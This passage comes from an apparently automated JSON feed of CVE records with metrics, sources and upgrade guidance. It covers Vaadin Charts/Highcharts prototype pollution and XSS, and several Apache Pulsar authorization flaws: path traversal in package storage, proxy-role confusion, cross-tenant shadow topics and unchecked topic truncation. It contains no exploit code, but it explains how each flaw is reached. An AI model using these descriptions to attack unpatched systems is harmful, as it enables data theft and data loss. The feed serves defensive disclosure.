score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110803&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110803, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107588","cveId":"CVE-2026-107588","aliases":[],"kind":"vulnerability","title":"Vaadin Charts renders charts with the Highcharts library and pins an exact version of it, 9.2.2 in Vaadin 22 to 24 and 12.2.0 in Vaadin 25, so an application cannot remove these...","summary":"Vaadin Charts renders charts with the Highcharts library and pins an exact version of it, 9.2.2 in Vaadin 22 to 24 and 12.2.0 in Vaadin 25, so an application cannot remove these vulnerabilities by upgrading Highcharts on its own. Highsoft disclosed several vulnerabilities in that library that are reachable through the chart configuration: writes to Object.prototype through dotted series.keys paths, and cross-site scripting through credits.href, through breadcrumbs.style, through HTML text parsing while printing, and through xlink:href attributes in exported charts. An application is affected where data an attacker controls reaches the chart configuration, for example through additionalOptions, through updateConfiguration(), or through text options that accept markup. The fixed Vaadin versions apply Highsoft's recommended workarounds to the bundled Highcharts when it loads, and keep the same Highcharts version.\n\n\nUsers of affected versions should apply the following mitigation or upgrade. Releases that have fixed this issue include:\n\nProduct version\nVaadin 22.0.0 - 23.6.15\nVaadin 24.0.0 - 24.4.23\nVaadin 24.5.0 - 24.7.15\nVaadin 24.8.0 - 24.9.22\nVaadin 24.10.0 - 24.10.10\nVaadin 25.0.0 - 25.2.9\nVaadin 25.3.0\n\nMitigation\nUpgrade to 23.6.16\nUpgrade to 24.4.24\nUpgrade to 24.7.16\nUpgrade to 24.9.23\nUpgrade to 24.10.11\nUpgrade to 25.2.10\nUpgrade to 25.3.1 or newer\n\nPlease note that Vaadin versions 10-13 and 15-22 are no longer supported and you should update either to the latest 23, 24, 25 version.\n\nArtifacts\nMaven coordinates / Vulnerable versions / Fixed version\ncom.vaadin:vaadin / 22.0.0 - 23.6.15 / >=23.6.16\ncom.vaadin:vaadin / 24.0.0 - 24.4.23 / >=24.4.24\ncom.vaadin:vaadin / 24.5.0 - 24.7.15 / >=24.7.16\ncom.vaadin:vaadin / 24.8.0 - 24.9.22 / >=24.9.23\ncom.vaadin:vaadin / 24.10.0 - 24.10.10 / >=24.10.11\ncom.vaadin:vaadin / 25.0.0 - 25.0.13 / >=25.2.10\ncom.vaadin:vaadin / 25.1.0 - 25.1.13 / >=25.2.10\ncom.vaadin:vaadin / 25.2.0 - 25.2.9 / >=25.2.10\ncom.vaadin:vaadin / 25.3.0 / >=25.3.1\ncom.vaadin:vaadin-charts-flow / 22.0.0 - 23.6.15 / >=23.6.16\ncom.vaadin:vaadin-charts-flow / 24.0.0 - 24.4.22 / >=24.4.24\ncom.vaadin:vaadin-charts-flow / 24.5.0 - 24.7.14 / >=24.7.15\ncom","detail":"Vaadin Charts renders charts with the Highcharts library and pins an exact version of it, 9.2.2 in Vaadin 22 to 24 and 12.2.0 in Vaadin 25, so an application cannot remove these vulnerabilities by upgrading Highcharts on its own. Highsoft disclosed several vulnerabilities in that library that are reachable through the chart configuration: writes to Object.prototype through dotted series.keys paths, and cross-site scripting through credits.href, through breadcrumbs.style, through HTML text parsing while printing, and through xlink:href attributes in exported charts. An application is affected where data an attacker controls reaches the chart configuration, for example through additionalOptions, through updateConfiguration(), or through text options that accept markup. The fixed Vaadin versions apply Highsoft's recommended workarounds to the bundled Highcharts when it loads, and keep the same Highcharts version.\n\n\nUsers of affected versions should apply the following mitigation or upgrade. Releases that have fixed this issue include:\n\nProduct version\nVaadin 22.0.0 - 23.6.15\nVaadin 24.0.0 - 24.4.23\nVaadin 24.5.0 - 24.7.15\nVaadin 24.8.0 - 24.9.22\nVaadin 24.10.0 - 24.10.10\nVaadin 25.0.0 - 25.2.9\nVaadin 25.3.0\n\nMitigation\nUpgrade to 23.6.16\nUpgrade to 24.4.24\nUpgrade to 24.7.16\nUpgrade to 24.9.23\nUpgrade to 24.10.11\nUpgrade to 25.2.10\nUpgrade to 25.3.1 or newer\n\nPlease note that Vaadin versions 10-13 and 15-22 are no longer supported and you should update either to the latest 23, 24, 25 version.\n\nArtifacts\nMaven coordinates / Vulnerable versions / Fixed version\ncom.vaadin:vaadin / 22.0.0 - 23.6.15 / >=23.6.16\ncom.vaadin:vaadin / 24.0.0 - 24.4.23 / >=24.4.24\ncom.vaadin:vaadin / 24.5.0 - 24.7.15 / >=24.7.16\ncom.vaadin:vaadin / 24.8.0 - 24.9.22 / >=24.9.23\ncom.vaadin:vaadin / 24.10.0 - 24.10.10 / >=24.10.11\ncom.vaadin:vaadin / 25.0.0 - 25.0.13 / >=25.2.10\ncom.vaadin:vaadin / 25.1.0 - 25.1.13 / >=25.2.10\ncom.vaadin:vaadin / 25.2.0 - 25.2.9 / >=25.2.10\ncom.vaadin:vaadin / 25.3.0 / >=25.3.1\ncom.vaadin:vaadin-charts-flow / 22.0.0 - 23.6.15 / >=23.6.16\ncom.vaadin:vaadin-charts-flow / 24.0.0 - 24.4.22 / >=24.4.24\ncom.vaadin:vaadin-charts-flow / 24.5.0 - 24.7.14 / >=24.7.15\ncom.vaadin:vaadin-charts-flow / 24.8.0 - 24.9.22 / >=24.9.23\ncom.vaadin:vaadin-charts-flow / 24.10.0 - 24.10.10 / >=24.10.11\ncom.vaadin:vaadin-charts-flow / 25.0.0 - 25.0.13 / >=25.2.10\ncom.vaadin:vaadin-charts-flow / 25.1.0 - 25.1.13 / >=25.2.10\ncom.vaadin:vaadin-charts-flow / 25.2.0 - 25.2.9 / >=25.2.10\ncom.vaadin:vaadin-charts-flow / 25.3.0 / >=25.3.1\ncom.vaadin:vaadin-charts-flow-svg-generator / 21.0.0 - 23.6.15 / >=23.6.16\ncom.vaadin:vaadin-charts-flow-svg-generator / 24.0.0 - 24.4.22 / >=24.4.24\ncom.vaadin:vaadin-charts-flow-svg-generator / 24.5.0 - 24.7.14 / >=24.7.15\ncom.vaadin:vaadin-charts-flow-svg-generator / 24.8.0 - 24.9.22 / >=24.9.23\ncom.vaadin:vaadin-charts-flow-svg-generator / 24.10.0 - 24.10.10 / >=24.10.11\ncom.vaadin:vaadin-charts-flow-svg-generator / 25.0.0 - 25.0.13 / >=25.2.10\ncom.vaadin:vaadin-charts-flow-svg-generator / 25.1.0 - 25.1.13 / >=25.2.10\ncom.vaadin:vaadin-charts-flow-svg-generator / 25.2.0 - 25.2.9 / >=25.2.10\ncom.vaadin:vaadin-charts-flow-svg-generator / 25.3.0 / >=25.3.1\n\nnpm packages\nnpm package / Vulnerable versions / Fixed version\n@vaadin/charts / 22.0.0 - 23.6.6 / >=23.6.7\n@vaadin/charts / 24.0.0 - 24.4.18 / >=24.4.19\n@vaadin/charts / 24.5.0 - 24.7.12 / >=24.7.13\n@vaadin/charts / 24.8.0 - 24.9.18 / >=24.9.19\n@vaadin/charts / 24.10.0 - 24.10.6 / >=24.10.7\n@vaadin/charts / 25.0.0 - 25.0.13 / >=25.2.14\n@vaadin/charts / 25.1.0 - 25.1.14 / >=25.2.14\n@vaadin/charts / 25.2.0 - 25.2.13 / >=25.2.14\n@vaadin/charts / 25.3.0 / >=25.3.1\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T19:16:57.847Z","updatedAt":"2026-10-22T15:37:23.163Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107588","asOf":"2026-10-22T15:37:23.163Z"},"epss":{"probability":0.00524,"percentile":0.44175,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107588&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107588","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107588","type":"primary","publishedAt":"2026-10-21T19:16:57.847Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107588&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107588, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105945","cveId":"CVE-2026-105945","aliases":[],"kind":"vulnerability","title":"The Pulsar Packages Management Service can be configured to store packages on the local filesystem of the broker by using the filesystem storage provider.","summary":"The Pulsar Packages Management Service can be configured to store packages on the local filesystem of the broker by using the filesystem storage provider. Package names consist of a type, tenant, namespace, name and version. Authorization of package operations is based only on the tenant and namespace, while the storage location of a package is derived from all of these components. The version component of a package name was not validated, so it could contain URL-encoded path separators and parent directory references. The filesystem storage provider resolved such a version to a location belonging to a package in a different tenant or namespace. Because that location is inside the configured storage directory, the containment check that the filesystem storage provider performs in recent releases did not prevent the access.\n\nAn authenticated user who has the packages permission on any namespace could use this to download, overwrite or delete packages stored in other tenants or namespaces for which the user has no permission. Packages overwritten or deleted in this way may be used by Pulsar Functions, Sources or Sinks, so the issue can affect the integrity and availability of these components. If authentication is disabled, the operations are available to any client that can reach the broker's admin REST API.\n\nThis issue only affects deployments in which package management is enabled with the broker setting enablePackagesManagement and the filesystem storage provider (FileSystemPackagesStorageProvider) is configured with the setting packagesManagementStorageProvider. Package management is disabled by default, and the default storage provider, which stores packages in Apache BookKeeper, is not affected.\n\nThis issue affects Apache Pulsar versions from 2.10.0 before 4.0.14 and from 4.1.0 before 4.2.5.\n\n- 4.0.x version users should upgrade to at least 4.0.14.\n- 4.1.x and 4.2.x version users should upgrade to at least 4.2.5.\n\nUsers operating versions prior to those listed above should upgrade to the aforementioned patched versions or newer versions.\n\nThe currently supported Apache Pulsar release lines are 4.0.x and 5.0.x. The supported versions schedule is available at","detail":"The Pulsar Packages Management Service can be configured to store packages on the local filesystem of the broker by using the filesystem storage provider. Package names consist of a type, tenant, namespace, name and version. Authorization of package operations is based only on the tenant and namespace, while the storage location of a package is derived from all of these components. The version component of a package name was not validated, so it could contain URL-encoded path separators and parent directory references. The filesystem storage provider resolved such a version to a location belonging to a package in a different tenant or namespace. Because that location is inside the configured storage directory, the containment check that the filesystem storage provider performs in recent releases did not prevent the access.\n\nAn authenticated user who has the packages permission on any namespace could use this to download, overwrite or delete packages stored in other tenants or namespaces for which the user has no permission. Packages overwritten or deleted in this way may be used by Pulsar Functions, Sources or Sinks, so the issue can affect the integrity and availability of these components. If authentication is disabled, the operations are available to any client that can reach the broker's admin REST API.\n\nThis issue only affects deployments in which package management is enabled with the broker setting enablePackagesManagement and the filesystem storage provider (FileSystemPackagesStorageProvider) is configured with the setting packagesManagementStorageProvider. Package management is disabled by default, and the default storage provider, which stores packages in Apache BookKeeper, is not affected.\n\nThis issue affects Apache Pulsar versions from 2.10.0 before 4.0.14 and from 4.1.0 before 4.2.5.\n\n- 4.0.x version users should upgrade to at least 4.0.14.\n- 4.1.x and 4.2.x version users should upgrade to at least 4.2.5.\n\nUsers operating versions prior to those listed above should upgrade to the aforementioned patched versions or newer versions.\n\nThe currently supported Apache Pulsar release lines are 4.0.x and 5.0.x. The supported versions schedule is available at https://pulsar.apache.org/contribute/release-policy/.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T19:16:57.660Z","updatedAt":"2026-10-23T22:16:53.040Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105945","asOf":"2026-10-23T22:16:53.040Z"},"epss":{"probability":0.00494,"percentile":0.42147,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105945&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105945","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105945","type":"primary","publishedAt":"2026-10-21T19:16:57.660Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105945&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105945, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105942","cveId":"CVE-2026-105942","aliases":[],"kind":"vulnerability","title":"When a configured proxy role sends a request to the broker on behalf of another user (the original principal), the broker is designed to authorize both the proxy role and the...","summary":"When a configured proxy role sends a request to the broker on behalf of another user (the original principal), the broker is designed to authorize both the proxy role and the original principal and to allow the request only if both are authorized, so that the original principal cannot exceed its own permissions. Two flaws weakened this check.\n\nFirst, the original principal was authorized with the proxy's authentication data instead of its own. On the admin REST API of the broker and the functions worker, this applied to every proxied request. On the Pulsar binary protocol, it applied when the proxy did not forward the client's credentials to the broker, which was the default of the Pulsar proxy in the affected versions. Authorization providers that resolve permissions from the role name only, such as the default authorization provider, are not affected by this flaw. The multi-role token authorization provider (MultiRolesTokenAuthorizationProvider), added in Apache Pulsar 2.8.1, resolves roles from the role claim of the token in the authentication data it is given. When a proxy authenticates to the broker with its own token, the original principal was therefore authorized with all roles in the proxy's token. If any of those roles is a superuser or tenant admin role, any user whose requests are forwarded by that proxy can perform operations that need those permissions without holding them. Custom authorization providers that use the authentication data could be affected in a similar way.\n\nSecond, independently of the authorization provider, the tenant admin check of a proxied admin REST API request succeeded without checking the original principal when the proxy role was itself an admin role of the tenant. In deployments where a proxy role is a tenant admin, including with the default authorization provider, any user whose requests are forwarded by that proxy could perform tenant administration operations on that tenant. This behavior is present from 2.8.4 in the 2.8.x releases, from 2.9.3 in the 2.9.x releases, and from 2.10.1 onwards.\n\nDeployments that use neither the multi-role token authorization provider nor a custom provider that uses the authentication data","detail":"When a configured proxy role sends a request to the broker on behalf of another user (the original principal), the broker is designed to authorize both the proxy role and the original principal and to allow the request only if both are authorized, so that the original principal cannot exceed its own permissions. Two flaws weakened this check.\n\nFirst, the original principal was authorized with the proxy's authentication data instead of its own. On the admin REST API of the broker and the functions worker, this applied to every proxied request. On the Pulsar binary protocol, it applied when the proxy did not forward the client's credentials to the broker, which was the default of the Pulsar proxy in the affected versions. Authorization providers that resolve permissions from the role name only, such as the default authorization provider, are not affected by this flaw. The multi-role token authorization provider (MultiRolesTokenAuthorizationProvider), added in Apache Pulsar 2.8.1, resolves roles from the role claim of the token in the authentication data it is given. When a proxy authenticates to the broker with its own token, the original principal was therefore authorized with all roles in the proxy's token. If any of those roles is a superuser or tenant admin role, any user whose requests are forwarded by that proxy can perform operations that need those permissions without holding them. Custom authorization providers that use the authentication data could be affected in a similar way.\n\nSecond, independently of the authorization provider, the tenant admin check of a proxied admin REST API request succeeded without checking the original principal when the proxy role was itself an admin role of the tenant. In deployments where a proxy role is a tenant admin, including with the default authorization provider, any user whose requests are forwarded by that proxy could perform tenant administration operations on that tenant. This behavior is present from 2.8.4 in the 2.8.x releases, from 2.9.3 in the 2.9.x releases, and from 2.10.1 onwards.\n\nDeployments that use neither the multi-role token authorization provider nor a custom provider that uses the authentication data are not affected by the first flaw, and with the multi-role token authorization provider, neither are deployments whose proxies do not authenticate to the broker with a token. Deployments in which no proxy role is listed as an admin role of a tenant are not affected by the second flaw. A proxy role that is a superuser but is not listed as a tenant admin does not trigger it, because the tenant admin check of the built-in authorization providers only considers the tenant's admin roles; this can differ for custom authorization providers that treat superusers as tenant admins.\n\nIn fixed versions, both the proxy role and the original principal are authorized for each proxied request, and the original principal is authorized only with its own authentication data. With the multi-role token authorization provider, the roles of a forwarded token are used for the original principal only when that token authenticates as the original principal; otherwise only the original principal's role name is used. For tenant admin checks, the proxy role and the original principal must each be a superuser or a tenant admin of the tenant.\n\nThis issue affects Apache Pulsar versions from 2.8.1 before 4.0.14 and from 4.1.0 before 4.2.5.\n\n- 4.0.x version users should upgrade to at least 4.0.14.\n- 4.1.x and 4.2.x version users should upgrade to at least 4.2.5.\n\nUsers operating versions prior to those listed above should upgrade to the aforementioned patched versions or newer versions.\n\nThe currently supported Apache Pulsar release lines are 4.0.x and 5.0.x. The supported versions schedule is available at https://pulsar.apache.org/contribute/release-policy/.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T19:16:57.203Z","updatedAt":"2026-10-23T22:16:52.683Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105942","asOf":"2026-10-23T22:16:52.683Z"},"epss":{"probability":0.00482,"percentile":0.41284,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105942&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105942","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105942","type":"primary","publishedAt":"2026-10-21T19:16:57.203Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105942&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105942, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105937","cveId":"CVE-2026-105937","aliases":[],"kind":"vulnerability","title":"Apache Pulsar shadow topics (PIP-180) are topics that read the stored messages of a source topic from that topic's managed ledger.","summary":"Apache Pulsar shadow topics (PIP-180) are topics that read the stored messages of a source topic from that topic's managed ledger. The source topic is selected by setting the reserved topic property PULSAR.SHADOW_SOURCE. The admin REST API accepts this property when creating a non-partitioned or partitioned topic and when updating the properties of an existing topic. On these paths the broker authorizes the caller only against the topic being created or updated. It does not authorize the caller against the source topic named in the property. The existing authorization for shadow topic configuration (the SHADOW_TOPIC topic policy on the source topic) is applied only to the source-side shadow topics admin API, not to these paths.\n\nAs a result, an authenticated user who is allowed to create topics or update topic properties in one tenant can bind a topic in that tenant to a persistent topic in any other tenant. With the default authorization provider, these operations require the tenant admin role for the user's own tenant. The user does not need any permission on the source topic, its namespace or its tenant. This impact analysis assumes that Pulsar has been configured with the default authorization provider. For custom authorization providers, the impact could be different.\n\nThe user can then consume from the shadow topic, using only permissions on their own topic, and receive retained messages that were published to the source topic in the other tenant. Exposure is limited to messages that are still retained and readable in the source topic's ledgers; messages protected with client-side end-to-end encryption cannot be decrypted without the encryption keys. A producer on the shadow topic can also register a new schema version under the source topic's schema, subject to the schema compatibility settings; existing schema versions are not replaced.\n\nIn addition, the shadow topic's managed ledger applies its own retention, trimming, offloading and deletion to the source topic's ledgers. This can permanently delete the source topic's ledger data from BookKeeper and from tiered storage, regardless of the source topic's own subscriptions and retention policy, including","detail":"Apache Pulsar shadow topics (PIP-180) are topics that read the stored messages of a source topic from that topic's managed ledger. The source topic is selected by setting the reserved topic property PULSAR.SHADOW_SOURCE. The admin REST API accepts this property when creating a non-partitioned or partitioned topic and when updating the properties of an existing topic. On these paths the broker authorizes the caller only against the topic being created or updated. It does not authorize the caller against the source topic named in the property. The existing authorization for shadow topic configuration (the SHADOW_TOPIC topic policy on the source topic) is applied only to the source-side shadow topics admin API, not to these paths.\n\nAs a result, an authenticated user who is allowed to create topics or update topic properties in one tenant can bind a topic in that tenant to a persistent topic in any other tenant. With the default authorization provider, these operations require the tenant admin role for the user's own tenant. The user does not need any permission on the source topic, its namespace or its tenant. This impact analysis assumes that Pulsar has been configured with the default authorization provider. For custom authorization providers, the impact could be different.\n\nThe user can then consume from the shadow topic, using only permissions on their own topic, and receive retained messages that were published to the source topic in the other tenant. Exposure is limited to messages that are still retained and readable in the source topic's ledgers; messages protected with client-side end-to-end encryption cannot be decrypted without the encryption keys. A producer on the shadow topic can also register a new schema version under the source topic's schema, subject to the schema compatibility settings; existing schema versions are not replaced.\n\nIn addition, the shadow topic's managed ledger applies its own retention, trimming, offloading and deletion to the source topic's ledgers. This can permanently delete the source topic's ledger data from BookKeeper and from tiered storage, regardless of the source topic's own subscriptions and retention policy, including messages that have not yet been acknowledged. Deleting the shadow topic can also delete the source topic's ledgers. This data loss can also affect shadow topics that were configured intentionally by administrators.\n\nThis issue affects Apache Pulsar versions from 3.0.0 before 4.0.14 and from 4.1.0 before 4.2.5. Apache Pulsar 2.x releases do not contain the shadow topic implementation.\n\n- 4.0.x version users should upgrade to at least 4.0.14.\n- 4.1.x and 4.2.x version users should upgrade to at least 4.2.5.\n\nUsers operating versions prior to those listed above should upgrade to the aforementioned patched versions or newer versions.\n\nThe currently supported Apache Pulsar release lines are 4.0.x and 5.0.x. The supported versions schedule is available at https://pulsar.apache.org/contribute/release-policy/.\n\nIn the fixed versions, shadow topics are disabled by default and are controlled by the new broker configuration setting enableShadowTopics (default false). While it is disabled, the broker rejects creating shadow topics, setting the PULSAR.SHADOW_SOURCE property, and loading or replicating to existing shadow topics. Deployments that use shadow topics must set enableShadowTopics=true in the broker configuration of all brokers after upgrading; otherwise existing shadow topics will not be loaded. When shadow topics are enabled, binding a shadow topic to a source topic in a different tenant requires the superuser role. The fixed versions also prevent a shadow topic from deleting or trimming the ledgers and offloaded data of its source topic.\n\nAffected versions provide no configuration option to disable shadow topics. Users who cannot upgrade immediately can reduce exposure by granting the tenant admin role only to trusted principals.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T19:16:56.730Z","updatedAt":"2026-10-23T22:16:52.313Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105937","asOf":"2026-10-23T22:16:52.313Z"},"epss":{"probability":0.00244,"percentile":0.154,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105937&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105937","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105937","type":"primary","publishedAt":"2026-10-21T19:16:56.730Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105937&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105937, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105934","cveId":"CVE-2026-105934","aliases":[],"kind":"vulnerability","title":"The Apache Pulsar broker admin REST API provides a truncate operation for persistent topics (DELETE /admin/v2/persistent/{tenant}/{namespace}/{topic}/truncate).","summary":"The Apache Pulsar broker admin REST API provides a truncate operation for persistent topics (DELETE /admin/v2/persistent/{tenant}/{namespace}/{topic}/truncate). Truncating a topic moves all subscription cursors of the topic to the end of the topic and deletes the topic's inactive ledgers. Truncating a non-partitioned topic, or a single partition addressed by its partition name, correctly requires the tenant admin role or the superuser role. When the operation is requested for the name of a partitioned topic, the broker does not apply this tenant admin check to the caller. Instead, it truncates each partition using the broker's own internal admin client, which authenticates with the broker's configured client credentials rather than the caller's identity. Each per-partition truncate request is still checked for the tenant admin role or the superuser role, but against the broker's internal identity instead of the caller. The partitions are therefore truncated only when the broker's configured client role is a superuser or an admin of the target tenant, which is the usual configuration when authorization is enabled.\n\nAs a result, when that condition holds, an authenticated user who is not a tenant admin can truncate any partitioned topic on which the user has lookup permission. Caller authentication and lookup permission alone are not sufficient: if the broker's internal identity lacks tenant admin or superuser authorization for the target tenant, the per-partition requests are rejected. With the default authorization provider, lookup permission is granted by produce or consume permission on the topic or its namespace. A user with no permissions on the topic cannot trigger the issue. This impact analysis assumes that Pulsar has been configured with the default authorization provider. For custom authorization providers, the impact could be different.\n\nTruncating a partitioned topic this way moves the cursors of all subscriptions on every partition to the end of the topic, so any unacknowledged backlog is skipped and is no longer delivered to consumers. It also deletes eligible older ledgers of each partition regardless of the namespace's configured retention policy,","detail":"The Apache Pulsar broker admin REST API provides a truncate operation for persistent topics (DELETE /admin/v2/persistent/{tenant}/{namespace}/{topic}/truncate). Truncating a topic moves all subscription cursors of the topic to the end of the topic and deletes the topic's inactive ledgers. Truncating a non-partitioned topic, or a single partition addressed by its partition name, correctly requires the tenant admin role or the superuser role. When the operation is requested for the name of a partitioned topic, the broker does not apply this tenant admin check to the caller. Instead, it truncates each partition using the broker's own internal admin client, which authenticates with the broker's configured client credentials rather than the caller's identity. Each per-partition truncate request is still checked for the tenant admin role or the superuser role, but against the broker's internal identity instead of the caller. The partitions are therefore truncated only when the broker's configured client role is a superuser or an admin of the target tenant, which is the usual configuration when authorization is enabled.\n\nAs a result, when that condition holds, an authenticated user who is not a tenant admin can truncate any partitioned topic on which the user has lookup permission. Caller authentication and lookup permission alone are not sufficient: if the broker's internal identity lacks tenant admin or superuser authorization for the target tenant, the per-partition requests are rejected. With the default authorization provider, lookup permission is granted by produce or consume permission on the topic or its namespace. A user with no permissions on the topic cannot trigger the issue. This impact analysis assumes that Pulsar has been configured with the default authorization provider. For custom authorization providers, the impact could be different.\n\nTruncating a partitioned topic this way moves the cursors of all subscriptions on every partition to the end of the topic, so any unacknowledged 